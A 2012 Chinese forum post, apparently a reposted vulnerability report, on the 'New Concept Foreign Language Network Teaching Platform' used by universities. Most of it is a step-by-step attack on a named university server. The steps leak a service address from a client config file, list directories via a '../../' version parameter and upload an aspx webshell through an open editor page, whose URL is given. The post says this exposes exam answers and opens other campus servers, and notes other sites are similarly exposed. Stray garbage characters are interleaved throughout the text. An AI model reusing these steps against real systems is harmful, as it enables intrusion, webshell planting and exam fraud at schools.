找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1992|回复: 0
打印 上一主题 下一主题

新理念外语网络教学平台文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:10:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中2 N" |' Z' H6 B  e# P

  K' D) N4 m; Z5 K3 l( k详细说明:0 l( G; d4 w0 |/ W3 r) y

% W9 {' Q3 x) k! ]* z以南开大学的为例:
4 T8 b/ C6 I& {0 Phttp://222.30.60.3/NPELS
- T1 b3 M, `6 C% {2 }1 G- jNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址, {8 N7 Y/ o5 o6 @% L
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
2 g+ V6 h6 R. e" Q3 \+ x* T: w<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
3 {1 e4 u9 W. X2 a</setting>
) Y2 f1 O" C% |; q( f及版本号
# ^; x- m4 U: I, a<add key="TVersion" value="1, 0, 0, 2187">5 C% z' {0 a; a, \6 \. \' v
</add>( D) l" W8 q' e6 _  S$ F
直接访问
- P9 N# o  L) g7 y6 D0 S" yhttp://222.30.60.3/NPELS/CommonService.asmx
( O/ K  O  f6 t9 |1 l' r- {& l使用GetTestClientFileList操作,直接 HTTP GET 列目录:) m1 e+ e- g4 X, i
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
- ?3 H4 C' J, Y- C; Z进一步列目录(返回的网页很大,可以直接 wget 下来)
) q0 J2 x  t* R- Ghttp://222.30.60.3/NPELS/CommonS ... List?version=../../6 g2 k/ t  F' m' n, A8 }- Z

3 M  F9 @* G$ w+ n, {/ F% P& {发现5 j: p$ c- y# y+ x6 g
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm) Q( W  t$ d- t) u4 ^5 x
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头2 Y& p# h6 [% ^* a% ~6 Q% K0 g* i  F
上传后继续列目录找到木马地址直接访问即可
: \3 n# }: R  {9 g$ U$ C
2 e& P" S! S: L$ f4 lOOXX
  ?1 q( Y. R/ F6 d* g
8 h! h% A# ?! ?1 K) UGoogle "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法" w. W8 k& e  p3 m
漏洞证明:8 D! E0 }' @' h: G# D& G

* `+ a1 d% M" a  E" S" N列目录:
3 m' D7 T7 r1 n4 U, m3 x; mhttp://222.30.60.3/NPELS/CommonS ... List?version=../../
: G& p! D$ e% H* u0 a; |文件上传:
4 q0 K0 |; I" Y: h/ ghttp://222.30.60.3/npelsv/editor/editor.htm$ u5 V( f, y; |" u: V

' e- V( [1 z2 v. k, i上传木马:1 X; K! G; \; Z- c  y5 `+ n1 E
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
" V- M' `6 V7 r8 K4 L
% W5 m5 Z+ x8 l* @" g修复方案:
* |+ Q% f  f; h! d, ~/ D9 D好像考试系统必须使用 CommonService.asmx: T) [& l% h$ u/ B# C0 k
最好配置文件加密或者用别的方式不让它泄露出来6 M  `# L  P, J, }
并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样​
3 j- t# D) `: n0 E' t8 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表